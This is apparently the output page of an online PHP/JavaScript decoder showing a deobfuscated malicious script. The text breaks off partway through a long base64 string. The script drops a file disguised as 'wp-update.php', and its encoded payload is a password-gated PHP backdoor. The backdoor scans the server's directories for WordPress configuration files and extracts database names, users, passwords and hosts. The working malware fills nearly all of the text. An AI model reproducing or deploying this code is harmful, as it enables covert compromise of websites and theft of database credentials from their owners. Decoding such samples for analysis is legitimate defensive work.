Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

file_put_contents(str_replace('index.php','',$_SERVER['SCRIPT_FILENAME']).'wp-update.php',base64_decode('PD9waHAKCQoJaWYoaXNzZXQoJF9HRVRbJ2NoZWNrJ10pKXsKCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdzdGF0dXMnPT4nT0snKSk7CgkJZXhpdCgpOwoJfQoJCglpZighaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpewoJCWV4aXQoKTsKCX0KCiAgICBzZXRfdGltZV9saW1pdCgwKTsKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOwoJQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CiAgICBAaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsIDApOwogICAgQGVycm9yX3JlcG9ydGluZyhFX0FMTCk7CgogICAgJHpvbmVfZG9tZW4gPSAnfGFhYXxhYXJwfGNhfGFiYnxhYmJvdHR8YWJidmllfGJyfGFiY3xzdXxhYmxlfGFib2dhZG98aXR8YWJ1ZGhhYml8YWV8YXR8YmR8YmV8Ynd8Y258Y3J8Y3l8Zmp8Zmt8aWR8aWx8aW18aW58aXJ8anB8a2V8a3J8bGt8bHN8bWF8bWV8bXV8bXd8bXp8bnp8cGF8cGd8cHJ8cnN8cnV8cnd8c2V8c3p8dGh8YWN8dHp8dWd8dWt8dm58emF8em18end8YWNhZGVteXxhY2NlbnR1cmV8YWNjb3VudGFudHxhY2NvdW50YW50c3xhY298YXV8YWN0b3J8YWR8YWRzfGFkdWx0fG9yZ3xhZWd8bnB8YWVyb3xhZXRuYXxhZnxub3xhZmx8Y29tfGFmcmljYXxhZ3xhZ2FraGFufGFnZW5jeXxodXxib3xwbHxhaXxhaWd8ZWV8YWlyYnVzfGFpcmZvcmNlfGFpcnRlbHx1c3xha2RufGFsfGZpfGFsaWJhYmF8YWxpcGF5fGFsbGZpbmFuenxhbGxzdGF0ZXxhbGx5fGFsc2FjZXxhbXxhbWF6b258YW1lcmljYW5leHByZXNzfGFtZXJpY2FuZmFtaWx5fGFtZXh8YW1mYW18YW1pY2F8YW1zdGVyZGFtfGFuYWx5dGljc3xhbmRyb2lkfGFucXVhbnxhbnp8YW98YW9sfGFwYXJ0bWVudHN8YXBwfGFwcGxlfGFxfGFxdWFyZWxsZXxhcnxhcmFifGFyYW1jb3xhcmNoaXxhcm15fGFycGF8ZG98ZHp8YXJ0fGFydGV8bmZ8cm98YXN8YXNkYXxhc2lhfGZyfG1jfG5jfGFzc29jaWF0ZXN8YXRobGV0YXxhdHRvcm5leXxhdWN0aW9ufGF1ZGl8YXVkaWJsZXxhdWRpb3xhdXNwb3N0fGF1dGhvcnxhdXRvfGF1dG9zfHRyfGF3fGF3c3xheHxheGF8YXp8YXp1cmV8YmF8YmFieXxiYWlkdXxiYW5hbWV4fGJhbmR8YmFua3xiYXJ8YmFyY2Vsb25hfGJhcmNsYXljYXJkfGJhcmNsYXlzfGJhcmVmb290fGJhcmdhaW5zfGJhc2ViYWxsfGJhc2tldGJhbGx8YmF1aGF1c3xiYXllcm58YmJ8YmJjfGJidHxiYnZhfGJjZ3xiY258YmVhdHN8YmVhdXR5fGJlZXJ8YmVudGxleXxiZXJsaW58YmVzdHxiZXN0YnV5fGJldHxiZnxiZ3xiaHxiaGFydGl8Yml8YmlibGV8YmlkfGJpa2V8YmluZ3xiaW5nb3xiaW98bW18bml8cGt8dGp8dHR8Yml6fHVhfGJqfGJsYWNrfGJsYWNrZnJpZGF5fGJsb2NrYnVzdGVyfGJsb2d8Ymxvb21iZXJnfGJsdWV8Ym18Ym1zfGJtd3xibnxibnBwYXJpYmFzfGJvYXRzfGJvZWhyaW5nZXJ8Ym9mYXxib218Ym9uZHxib298Ym9va3xib29raW5nfGJvc2NofGJvc3Rpa3xib3N0b258Ym90fGJvdXRpcXVlfGJveHxicmFkZXNjb3xicmlkZ2VzdG9uZXxicm9hZHdheXxicm9rZXJ8YnJvdGhlcnxicnVzc2Vsc3xic3xidHxidWlsZHxidWlsZGVyc3xidXNpbmVzc3xidXl8YnV6enxieXxienxiemh8Y2FifGNhZmV8Y2FsfGNhbGx8Y2Fsdmlua2xlaW58Y2FtfGNhbWVyYXxjYW1wfGNhbm9ufGNhcGV0b3dufGNhcGl0YWx8Y2FwaXRhbG9uZXxjYXJ8Y2FyYXZhbnxjYXJkc3xjYXJlfGNhcmVlcnxjYXJlZXJzfGNhcnN8Y2FzYXxjYXNlfGNhc2h8Y2FzaW5vfGNhdHxjYXRlcmluZ3xjYXRob2xpY3xjYmF8Y2JufGNicmV8Y2N8Y2R8Y2VudGVyfGNlb3xjZXJufGNmfGNmYXxjZmR8Y2d8Y2h8Y2hhbmVsfGNoYW5uZWx8Y2hhcml0eXxjaGFzZXxjaGF0fGNoZWFwfGNoaW50YWl8Y2hyaXN0bWFzfGNocm9tZXxjaHVyY2h8Y2l8Y2lwcmlhbml8Y2lyY2xlfGNpc2NvfGNpdGFkZWx8Y2l0aXxjaXRpY3xjaXR5fGNrfGNsfGNsYWltc3xjbGVhbmluZ3xjbGlja3xjbGluaWN8Y2xpbmlxdWV8Y2xvdGhpbmd8Y2xvdWR8dHd8Y2x1YnxjbHVibWVkfGNtfGN6fGRrfGdnfGdsfGd5fGplfGxjfG1nfG5hfG5sfG9tfHBufGNvfHV6fHZlfHZpfGNvYWNofGNvZGVzfGNvZmZlZXxjb2xsZWdlfGNvbG9nbmV8Y3V8Y3Z8Y3d8ZGV8ZWN8ZWd8ZXJ8ZXN8ZXR8Z2V8Z2h8Z2l8Z258Z3B8Z3J8Z3R8Z3V8aGt8aG58aHJ8aHR8aXF8am18am98a2d8a2h8a2l8a3B8a3d8a3l8a3p8bGF8bGJ8bHJ8bHZ8bHl8bWt8bWx8bW98bXN8bXR8bXZ8bXh8bXl8bmd8bnJ8cGV8cGZ8cGh8cHN8cHR8cHl8cWF8c2F8c2J8c2N8c2R8c2d8c2x8c258c298c3N8c3Z8c3l8dG18dG58dG98dXl8dmN8dnV8d3N8eWV8Y29tbWJhbmt8Y29tbXVuaXR5fGNvbXBhbnl8Y29tcGFyZXxjb21wdXRlcnxjb21zZWN8Y29uZG9zfGNvbnN0cnVjdGlvbnxjb25zdWx0aW5nfGNvbnRhY3R8Y29udHJhY3RvcnN8Y29va2luZ3xjb29sfGNvb3B8Y29yc2ljYXxjb3VudHJ5fGNvdXBvbnxjb3Vwb25zfGNvdXJzZXN8cHJvfGNwYXxjcmVkaXR8Y3JlZGl0Y2FyZHxjcmVkaXR1bmlvbnxjcmlja2V0fGNyb3dufGNyc3xjcnVpc2V8Y3J1aXNlc3xjdWlzaW5lbGxhfGN4fGN5bXJ1fGN5b3V8ZGFkfGRhbmNlfGRhdGF8ZGF0ZXxkYXRpbmd8ZGF0c3VufGRheXxkY2xrfGRkc3xkZWFsfGRlYWxlcnxkZWFsc3xkZWdyZWV8ZGVsaXZlcnl8ZGVsbHxkZWxvaXR0ZXxkZWx0YXxkZW1vY3JhdHxkZW50YWx8ZGVudGlzdHxkZXNpfGRlc2lnbnxkZXZ8ZGhsfGRpYW1vbmRzfGRpZXR8ZGlnaXRhbHxkaXJlY3R8ZGlyZWN0b3J5fGRpc2NvdW50fGRpc2NvdmVyfGRpc2h8ZGl5fGRqfGRtfGRucHxkb2NzfGRvY3Rvcnxkb2d8ZG9tYWluc3xkb3R8ZG93bmxvYWR8ZHJpdmV8ZHR2fGR1YmFpfGR1bmxvcHxkdXBvbnR8ZHVyYmFufGR2YWd8ZHZyfGVhcnRofGVhdHxlY298ZWRla2F8Z2R8a258bW58ZWR1fGVkdWNhdGlvbnxlbWFpbHxlbWVyY2t8ZW5lcmd5fGVuZ2luZWVyfGVuZ2luZWVyaW5nfGVudGVycHJpc2VzfGVwc29ufGVxdWlwbWVudHxlcmljc3Nvbnxlcm5pfGVzcXxlc3RhdGV8ZXV8ZXVyb3Zpc2lvbnxldXN8ZXZlbnRzfGV4Y2hhbmdlfGV4cGVydHxleHBvc2VkfGV4cHJlc3N8ZXh0cmFzcGFjZXxmYWdlfGZhaWx8ZmFpcndpbmRzfGZhaXRofGZhbWlseXxmYW58ZmFuc3xmYXJtfGZhcm1lcnN8ZmFzaGlvbnxmYXN0fGZlZGV4fGZlZWRiYWNrfGZlcnJhcml8ZmVycmVyb3xmaWRlbGl0eXxmaWRvfGZpbG18ZmluYWx8ZmluYW5jZXxmaW5hbmNpYWx8ZmlyZXxmaXJlc3RvbmV8ZmlybWRhbGV8ZmlzaHxmaXNoaW5nfGZpdHxmaXRuZXNzfGZsaWNrcnxmbGlnaHRzfGZsaXJ8ZmxvcmlzdHxmbG93ZXJzfGZseXxmbXxmb3xmb298Zm9vZHxmb290YmFsbHxmb3JkfGZvcmV4fGZvcnNhbGV8Zm9ydW18Zm91bmRhdGlvbnxmb3h8ZnJlZXxmcmVzZW5pdXN8ZnJsfGZyb2dhbnN8ZnJvbnRpZXJ8ZnRyfGZ1aml0c3V8ZnVufGZ1bmR8ZnVybml0dXJlfGZ1dGJvbHxmeWl8Z2F8Z2FsfGdhbGxlcnl8Z2FsbG98Z2FsbHVwfGdhbWV8Z2FtZXN8Z2FwfGdhcmRlbnxnYXl8bmV0fGdiaXp8Z2RufGdlYXxnZW50fGdlbnRpbmd8Z2VvcmdlfGdmfGdnZWV8Z2lmdHxnaWZ0c3xnaXZlc3xnaXZpbmd8Z2xhc3N8Z2xlfGdsb2JhbHxnbG9ib3xnbXxnbWFpbHxnbWJofGdtb3xnbXh8Z29kYWRkeXxnb2xkfGdvbGRwb2ludHxnb2xmfGdvb3xnb29keWVhcnxnb29nfGdvb2dsZXxnb3B8Z290fGllfGx0fG1yfHNjb3R8c2h8c3R8dGx8Z292fGdxfGdyYWluZ2VyfGdyYXBoaWNzfGdyYXRpc3xncmVlbnxncmlwZXxncm9jZXJ5fGdyb3VwfGdzfGd1Y2NpfGd1Z2V8Z3VpZGV8Z3VpdGFyc3xndXJ1fGd3fGhhaXJ8aGFtYnVyZ3xoYW5nb3V0fGhhdXN8aGJvfGhkZmN8aGRmY2Jhbmt8aGVhbHRofGhlYWx0aGNhcmV8aGVscHxoZWxzaW5raXxoZXJlfGhlcm1lc3xoaXBob3B8aGlzYW1pdHN1fGhpdGFjaGl8aGl2fGhrdHxobXxob2NrZXl8aG9sZGluZ3N8aG9saWRheXxob21lZGVwb3R8aG9tZWdvb2RzfGhvbWVzfGhvbWVzZW5zZXxob25kYXxob3JzZXxob3NwaXRhbHxob3N0fGhvc3Rpbmd8aG90fGhvdGVsc3xob3RtYWlsfGhvdXNlfGhvd3xoc2JjfGh1Z2hlc3xoeWF0dHxoeXVuZGFpfGlibXxpY2JjfGljZXxpY3V8aWVlZXxpZm18aWthbm98aW1hbWF0fGltZGJ8aW1tb3xpbW1vYmlsaWVufGluY3xpbmR1c3RyaWVzfGluZmluaXRpfGluZm98aW5nfGlua3xpbnN0aXR1dGV8aW5zdXJhbmNlfGluc3VyZXxpbnR8aW50ZXJuYXRpb25hbHxpbnR1aXR8aW52ZXN0bWVudHN8aW98aXBpcmFuZ2F8aXJpc2h8aXN8aXNtYWlsaXxpc3R8aXN0YW5idWx8aXRhdXxpdHZ8amFndWFyfGphdmF8amNifGplZXB8amV0enR8amV3ZWxyeXxqaW98amxsfGptcHxqbmp8am9ic3xqb2J1cmd8am90fGpveXxqcG1vcmdhbnxqcHJzfGp1ZWdvc3xqdW5pcGVyfGthdWZlbnxrZGRpfGtlcnJ5aG90ZWxzfGtlcnJ5bG9naXN0aWNzfGtlcnJ5cHJvcGVydGllc3xrZmh8a2lhfGtpZHN8a2ltfGtpbmRsZXxraXRjaGVufGtpd2l8a218a29lbG58a29tYXRzdXxrb3NoZXJ8a3BtZ3xrcG58a3JkfGtyZWR8a3Vva2dyb3VwfGt5b3RvfGxhY2FpeGF8bGFtYm9yZ2hpbml8bGFtZXJ8bGFuY2FzdGVyfGxhbmR8bGFuZHJvdmVyfGxhbnhlc3N8bGFzYWxsZXxsYXR8bGF0aW5vfGxhdHJvYmV8bGF3fGxhd3llcnxsZHN8bGVhc2V8bGVjbGVyY3xsZWZyYWt8bGVnYWx8bGVnb3xsZXh1c3xsZ2J0fGxpfGxpZGx8bGlmZXxsaWZlaW5zdXJhbmNlfGxpZmVzdHlsZXxsaWdodGluZ3xsaWtlfGxpbGx5fGxpbWl0ZWR8bGltb3xsaW5jb2xufGxpbmt8bGlwc3l8bGl2ZXxsaXZpbmd8bGxjfGxscHxsb2FufGxvYW5zfGxvY2tlcnxsb2N1c3xsb2x8bG9uZG9ufGxvdHRlfGxvdHRvfGxvdmV8bHBsfGxwbGZpbmFuY2lhbHxsdGR8bHRkYXxsdXxsdW5kYmVja3xsdXhlfGx1eHVyeXxtYWRyaWR8bWFpZnxtYWlzb258bWFrZXVwfG1hbnxtYW5hZ2VtZW50fG1hbmdvfG1hcHxtYXJrZXR8bWFya2V0aW5nfG1hcmtldHN8bWFycmlvdHR8bWFyc2hhbGxzfG1hdHRlbHxtYmF8bWNraW5zZXl8bWR8bWVkfG1lZGlhfG1lZXR8bWVsYm91cm5lfG1lbWV8bWVtb3JpYWx8bWVufG1lbnV8bWVyY2ttc2R8bWh8bWlhbWl8bWljcm9zb2Z0fG1pbHxtaW5pfG1pbnR8bWl0fG1pdHN1YmlzaGl8bWxifG1sc3xtbWF8bW9iaXxtb2JpbGV8bW9kYXxtb2V8bW9pfG1vbXxtb25hc2h8bW9uZXl8bW9uc3Rlcnxtb3Jtb258bW9ydGdhZ2V8bW90b3xtb3RvcmN5Y2xlc3xtb3Z8bW92aWV8bXB8bXF8bXNkfG10bnxtdHJ8bXVzZXVtfG11c2ljfG5hYnxuYWdveWF8bmFtZXxuYXZ5fG5iYXxuZXxuZWN8bmV0YmFua3xuZXRmbGl4fG5ldHdvcmt8bmV1c3RhcnxuZXd8bmV3c3xuZXh0fG5leHRkaXJlY3R8bmV4dXN8bmZsfG5nb3xuaGt8bmljb3xuaWtlfG5pa29ufG5pbmphfG5pc3NhbnxuaXNzYXl8bm9raWF8bm9ydG9ufG5vd3xub3dydXp8bm93dHZ8bnJhfG5yd3xudHR8bnV8bnljfG9iaXxvYnNlcnZlcnxvZmZpY2V8b2tpbmF3YXxvbGF5YW58b2xheWFuZ3JvdXB8b2xsb3xvbWVnYXxvbmV8b25nfG9ubHxvbmxpbmV8b29vfG9wZW58b3JhY2xlfG9yYW5nZXxvcmdhbmljfG9yaWdpbnN8b3Nha2F8b3RzdWthfG90dHxvdmh8cGFnZXxwYW5hc29uaWN8cGFyaXN8cGFyc3xwYXJ0bmVyc3xwYXJ0c3xwYXJ0eXxwYXl8cGNjd3xwZXR8cGZpemVyfHBoYXJtYWN5fHBoZHxwaGlsaXBzfHBob25lfHBob3RvfHBob3RvZ3JhcGh5fHBob3Rvc3xwaHlzaW98cGljc3xwaWN0ZXR8cGljdHVyZXN8cGlkfHBpbnxwaW5nfHBpbmt8cGlvbmVlcnxwaXp6YXxwbGFjZXxwbGF5fHBsYXlzdGF0aW9ufHBsdW1iaW5nfHBsdXN8cG18cG5jfHBvaGx8cG9rZXJ8cG9saXRpZXxwb3JufHBvc3R8cHJhbWVyaWNhfHByYXhpfHByZXNzfHByaW1lfHByb2R8cHJvZHVjdGlvbnN8cHJvZnxwcm9ncmVzc2l2ZXxwcm9tb3xwcm9wZXJ0aWVzfHByb3BlcnR5fHByb3RlY3Rpb258cHJ1fHBydWRlbnRpYWx8cHVifHB3fHB3Y3xxcG9ufHF1ZXN0fHJhY2luZ3xyYWRpb3xyZXxyZWFkfHJlYWxlc3RhdGV8cmVhbHRvcnxyZWFsdHl8cmVjaXBlc3xyZWR8cmVkc3RvbmV8cmVkdW1icmVsbGF8cmVoYWJ8cmVpc2V8cmVpc2VufHJlaXR8cmVsaWFuY2V8cmVufHJlbnR8cmVudGFsc3xyZXBhaXJ8cmVwb3J0fHJlcHVibGljYW58cmVzdHxyZXN0YXVyYW50fHJldmlld3xyZXZpZXdzfHJleHJvdGh8cmljaHxyaWNoYXJkbGl8cmljb2h8cmlsfHJpb3xyaXB8cm9ja3N8cm9kZW98cm9nZXJzfHJvb218cnN2cHxydWdieXxydWhyfHJ1bnxyd2V8cnl1a3l1fHNhYXJsYW5kfHNhZmV8c2FmZXR5fHNha3VyYXxzYWxlfHNhbG9ufHNhbXNjbHVifHNhbXN1bmd8c2FuZHZpa3xzYW5kdmlrY29yb21hbnR8c2Fub2ZpfHNhcHxzYXJsfHNhc3xzYXZlfHNheG98c2JpfHNic3xzY2J8c2NoYWVmZmxlcnxzY2htaWR0fHNjaG9sYXJzaGlwc3xzY2hvb2x8c2NodWxlfHNjaHdhcnp8c2NpZW5jZXxzZWFyY2h8c2VhdHxzZWN1cmV8c2VjdXJpdHl8c2Vla3xzZWxlY3R8c2VuZXJ8c2VydmljZXN8c2V2ZW58c2V3fHNleHxzZXh5fHNmcnxzaGFuZ3JpbGF8c2hhcnB8c2hlbGx8c2hpYXxzaGlrc2hhfHNob2VzfHNob3B8c2hvcHBpbmd8c2hvdWppfHNob3d8c2l8c2lsa3xzaW5hfHNpbmdsZXN8c2l0ZXxza3xza2l8c2tpbnxza3l8c2t5cGV8c2xpbmd8c218c21hcnR8c21pbGV8c25jZnxzb2NjZXJ8c29jaWFsfHNvZnRiYW5rfHNvZnR3YXJlfHNvaHV8c29sYXJ8c29sdXRpb25zfHNvbmd8c29ueXxzb3l8c3BhY2V8c3BvcnR8c3BvdHxzcnxzcmx8c3RhZGF8c3RhcGxlc3xzdGFyfHN0YXRlYmFua3xzdGF0ZWZhcm18c3RjfHN0Y2dyb3VwfHN0b2NraG9sbXxzdG9yYWdlfHN0b3JlfHN0cmVhbXxzdHVkaW98c3R1ZHl8c3R5bGV8c3Vja3N8c3VwcGxpZXN8c3VwcGx5fHN1cHBvcnR8c3VyZnxzdXJnZXJ5fHN1enVraXxzd2F0Y2h8c3dpc3N8c3h8c3lkbmV5fHN5c3RlbXN8dGFifHRhaXBlaXx0YWxrfHRhb2Jhb3x0YXJnZXR8dGF0YW1vdG9yc3x0YXRhcnx0YXR0b298dGF4fHRheGl8dGN8dGNpfHRkfHRka3x0ZWFtfHRlY2h8dGVjaG5vbG9neXx0ZWx8dGVtYXNla3x0ZW5uaXN8dGV2YXx0Znx0Z3x0aGR8dGhlYXRlcnx0aGVhdHJlfHRpYWF8dGlja2V0c3x0aWVuZGF8dGlwc3x0aXJlc3x0aXJvbHx0am1heHh8dGp4fHRrfHRrbWF4eHx0bWFsbHx0b2RheXx0b2t5b3x0b29sc3x0b3B8dG9yYXl8dG9zaGliYXx0b3RhbHx0b3Vyc3x0b3dufHRveW90YXx0b3lzfHRyYWRlfHRyYWRpbmd8dHJhaW5pbmd8dHJhdmVsfHRyYXZlbGVyc3x0cmF2ZWxlcnNpbnN1cmFuY2V8dHJ1c3R8dHJ2fHR1YmV8dHVpfHR1bmVzfHR1c2h1fHR2fHR2c3x1YmFua3x1YnN8dW5pY29tfHVuaXZlcnNpdHl8dW5vfHVvbHx1cHN8dmF8dmFjYXRpb25zfHZhbmF8dmFuZ3VhcmR8dmVnYXN8dmVudHVyZXN8dmVyaXNpZ258dmVyc2ljaGVydW5nfHZldHx2Z3x2aWFqZXN8dmlkZW98dmlnfHZpa2luZ3x2aWxsYXN8dmlufHZpcHx2aXJnaW58dmlzYXx2aXNpb258dml2YXx2aXZvfHZsYWFuZGVyZW58dm9ka2F8dm9sdm98dm90ZXx2b3Rpbmd8dm90b3x2b3lhZ2V8d2FsZXN8d2FsbWFydHx3YWx0ZXJ8d2FuZ3x3YW5nZ291fHdhdGNofHdhdGNoZXN8d2VhdGhlcnx3ZWF0aGVyY2hhbm5lbHx3ZWJjYW18d2ViZXJ8d2Vic2l0ZXx3ZWR8d2VkZGluZ3x3ZWlib3x3ZWlyfHdmfHdob3N3aG98d2llbnx3aWtpfHdpbGxpYW1oaWxsfHdpbnx3aW5kb3dzfHdpbmV8d2lubmVyc3x3bWV8d29sdGVyc2tsdXdlcnx3b29kc2lkZXx3b3JrfHdvcmtzfHdvcmxkfHdvd3x3dGN8d3RmfHhib3h8eGVyb3h8eGlodWFufHhpbnx4bi0tMTFiNGMzZHx4bi0tbzNjdzRofHhuLS0xY2syZTFifHhuLS0xcXF3MjNhfHhuLS0zMHJyN3l8eG4tLTNic3QwMG18eG4tLTNkczQ0M2d8eG4tLTNlMGI3MDdlfHhuLS0zcHh1OGt8eG4tLTQyYzJkOWF8eG4tLTQ1cTExY3x4bi0tNGdicmltfHhuLS01NGI3ZnRhMGNjfHhuLS01NXF3NDJnfHhuLS01NXF4NWR8eG4tLTVzdTM0ajkzNmJnc2d8eG4tLTV0em01Z3x4bi0tNmZyejgyZ3x4bi0tNnFxOTg2YjN4bHx4bi0tODBhbzIxYXx4bi0tODBhcWVjZHIxYXx4bi0tODBhc2VoZGJ8eG4tLTgwYXN3Z3x4bi0tOHkwYTA2M2F8eG4tLTkwYTNhY3x4bi0tOTBhZXx4bi0tOTBhaXN8eG4tLTlkYnEyYXx4bi0tOWV0NTJ1fHhuLS05a3J0MDBhfHhuLS1iNHc2MDVmZXJkfHhuLS1iY2sxYjlhNWRyZTRjfHhuLS1jMWF2Z3x4bi0tYzJicjdnfHhuLS1jY2syYjNifHhuLS1jY2t3Y3hldGR8eG4tLWNnNGJraXx4bi0tY3pyczB0fHhuLS1kMWFjajNifHhuLS1kMWFsZnx4bi0tZTFhNGN8eG4tLWVja3ZkdGM5ZHx4bi0tZWZ2eTg4aHx4bi0tZmN0NDI5a3x4bi0tZmhiZWl8eG4tLWZpcTIyOGM1aHN8eG4tLWZpcTY0Ynx4bi0tZmlxczhzfHhuLS1maXF6OXN8eG4tLWZqcTcyMGF8eG4tLWZsdzM1MWV8eG4tLWZwY3JqOWMzZHx4bi0tZnpjMmM5ZTJjfHhuLS1menlzOGQ2OXV2Z218eG4tLWdja3IzZjBmfHhuLS1nazNhdDFlfHhuLS1oMmJyajljfHhuLS1pMWI2YjFhNmEyZXx4bi0taW1yNTEzbnx4bi0taW8wYTdpfHhuLS1qMWFlZnx4bi0tamxxNDgwbjJyZ3x4bi0tanZyMTg5bXx4bi0ta2NyeDc3ZDF4NGF8eG4tLWtwcncxM2R8eG4tLWtwcnk1N2R8eG4tLWtwdXQzaXx4bi0tbWdiYTNhM2VqdHx4bi0tbWdiYTNhNGYxNmF8eG4tLW1nYmE3YzBiYm4wYXx4bi0tbWdiYWFtN2E4aHx4bi0tbWdiYWIyYmR8eG4tLW1nYmF5aDdncGF8eG4tLW1nYmNhN2R6ZG98eG4tLW1nYmVycDRhNWQ0YXJ8eG4tLW1nYmk0ZWNleHB8eG4tLW1nYnQzZGhkfHhuLS1tazFidTQ0Y3x4bi0tbXh0cTFtfHhuLS1uZ2JjNWF6ZHx4bi0tbmdiZTllMGF8eG4tLW5nYnJ4fHhuLS1ub2RlfHhuLS1ucXY3Znx4bi0tbnF2N2ZzMDBlbWF8eG4tLW55cXkyNmF8eG4tLW90dTc5NmR8eG4tLXAxYWNmfHhuLS1wMWFpfHhuLS1wZ2JzMGRofHhuLS1wc3N5MnV8eG4tLXE5anliNGN8eG4tLXFja2ExcG1jfHhuLS1xeGFtfHhuLS1yaHF2OTZnfHhuLS1yb3Z1ODhifHhuLS1zOWJyajljfHhuLS1zZXM1NTRnfHhuLS10NjBiNTZhfHhuLS10Y2t3ZXx4bi0tdGlxNDl4cXlqfHhuLS11bnVwNHl8eG4tLXZlcm1nZW5zYmVyYXRlci1jdGJ8eG4tLXZlcm1nZW5zYmVyYXR1bmctcHdifHhuLS12aHF1dnx4bi0tdnVxODYxYnx4bi0tdzRyODVlbDhmaHU1ZG5yYXx4bi0tdzRyczQwbHx4bi0td2diaDFjfHhuLS13Z2JsNmF8eG4tLXhocTUyMWJ8eG4tLXhrYzJhbDNoeWUyYXx4bi0teGtjMmRsM2E1ZWUwaHx4bi0teTlhM2FxfHhuLS15ZnJvNGk2N298eG4tLXlnYmkyYW1teHx4bi0temZyMTY0Ynx4eHh8eHl6fHlhY2h0c3x5YWhvb3x5YW1heHVufHlhbmRleHx5b2RvYmFzaGl8eW9nYXx5b2tvaGFtYXx5b3V8eW91dHViZXx5dHx5dW58emFwcG9zfHphcmF8emVyb3x6aXB8em9uZXx6dWVyaWNofCc7CgogICAgJHRhc2tfaW5qID0gYXJyYXkoKTsKCiAgICBpZighaXNzZXQoJF9HRVRbJ2RvbnRzZWFyY2gnXSkpewogICAgICAgICRleHBsb2RlX2RpciA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgX19ESVJfXyk7CiAgICAgICAgJGZvdW5kX2RvbWVuID0gYXJyYXkoKTsKICAgICAgICAkZm91bmRfY29uZmlnID0gYXJyYXkoKTsKICAgICAgICAkYWxsX2RpciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCgkZXhwbG9kZV9kaXIgYXMgJGN1cnJlbnRfcGF0aCl7CiAgICAgICAgICAgICRhbGxfZGlyW10gPSAkY3VycmVudF9wYXRoOwogICAgICAgICAgICAkY3VycmVudF9kaXIgPSBpbXBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRhbGxfZGlyKTsKICAgICAgICAgICAgaWYoZW1wdHkoJGN1cnJlbnRfZGlyKSkgewogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgICAgICAgICAgfSAgICAgICAgCiAgICAgICAgICAgICRkb21haW5zID0gc2NhbkRpcmVjdG9yeSgkY3VycmVudF9kaXIsIDIpOwogICAgICAgICAgICAkY29uZmlnID0gc2NhbkRpcmVjdG9yeUNvbmZpZygkY3VycmVudF9kaXIsIDMpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGRvbWFpbnMpICYmIGNvdW50KCRkb21haW5zKT4wKXsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRjdXJyZW50KSB7CiAgICAgICAgICAgICAgICAgICAgJGV4cGxvZGVfZG9tYWluID0gZXhwbG9kZSgnfCcsJGN1cnJlbnQpOwogICAgICAgICAgICAgICAgICAgICRmb3VuZF9kb21lblskZXhwbG9kZV9kb21haW5bMF1dWyRleHBsb2RlX2RvbWFpblsxXV0gPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmKGlzX2FycmF5KCRjb25maWcpICYmIGNvdW50KCRjb25maWcpPjApewogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGNvbmZpZyBhcyAkY3VycmVudCkgewogICAgICAgICAgICAgICAgICAgICRleHBsb2RlX2RvbWFpbiA9IGV4cGxvZGUoJ3wnLCRjdXJyZW50KTsKICAgICAgICAgICAgICAgICAgICAkZm91bmRfY29uZmlnWyRleHBsb2RlX2RvbWFpblswXV1bJGV4cGxvZGVfZG9tYWluWzFdXSA9IDE7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gIAogICAgICAgIH0KCgogICAgICAgIGZvcmVhY2goJGZvdW5kX2NvbmZpZyBhcyAkY3VycmVudF9kb21lbj0+JGxpc3RfcGF0aCl7CiAgICAgICAgICAgICRnZXQgPSBmaWxlX2dldF9jb250ZW50cygkY3VycmVudF9kb21lbik7CiAgICAgICAgICAgICRkYiA9IGFycmF5KCk7CiAgICAgICAgICAgICRkYl9zaXRlX3VybCA9ICcnOwogICAgICAgICAgICBwcmVnX21hdGNoKCcvREJcX05BTUUoXCd8XCIpXHMqXCxccyooXCd8XCIpKC4rPykoXCd8XCIpL3VpJywgJGdldCwkZGJfbmFtZSk7CiAgICAgICAgICAgIGlmKGlzc2V0KCRkYl9uYW1lWzNdKSAmJiBmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9jb25uZWN0JykpewogICAgICAgICAgICAgICAgJGRiX25hbWUgPSAkZGJfbmFtZVszXTsKICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goJy9EQlxfVVNFUihcJ3xcIilccypcLFxzKihcJ3xcIikoLis/KShcJ3xcIikvdWknLCAkZ2V0LCRkYl91c2VyKTsKICAgICAgICAgICAgICAgICRkYl91c2VyID0gJGRiX3VzZXJbM107CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCcvREJcX1BBU1NXT1JEKFwnfFwiKVxzKlwsXHMqKFwnfFwiKSguKz8pKFwnfFwiKS91aScsICRnZXQsJGRiX3Bhc3MpOwogICAgICAgICAgICAgICAgJGRiX3Bhc3MgPSAkZGJfcGFzc1szXTsKICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goJy9EQlxfSE9TVChcJ3xcIilccypcLFxzKihcJ3xcIikoLis/KShcJ3xcIikvdWknLCAkZ2V0LCRkYl9ob3N0KTsKICAgICAgICAgICAgICAgICRkYl9ob3N0ID0gJGRiX2hvc3RbM107CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCcvXCR0YWJsZVxfcHJlZml4XHMqXD1ccyooXCd8XCIpKC4rPykoXCd8XCIpL3VpJywgJGdldCwkZGJfcHJlZml4KTsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkZGJfcHJlZml4ID0gJGRiX3ByZWZpeFsyXTsKICAgICAgICAgICAgICAgICRkYlsnZGJfbmFtZSddID0gJGRiX25hbWU7CiAgICAgICAgICAgICAgICAkZGJbJ2RiX3VzZXInXSA9ICRkYl91c2VyOwogICAgICAgICAgICAgICAgJGRiWydkYl9wYXNzJ10gPSAkZGJfcGFzczsKICAgICAgICAgICAgICAgICRkYlsnZGJfaG9zdCddID0gJGRiX2hvc3Q7CiAgICAgICAg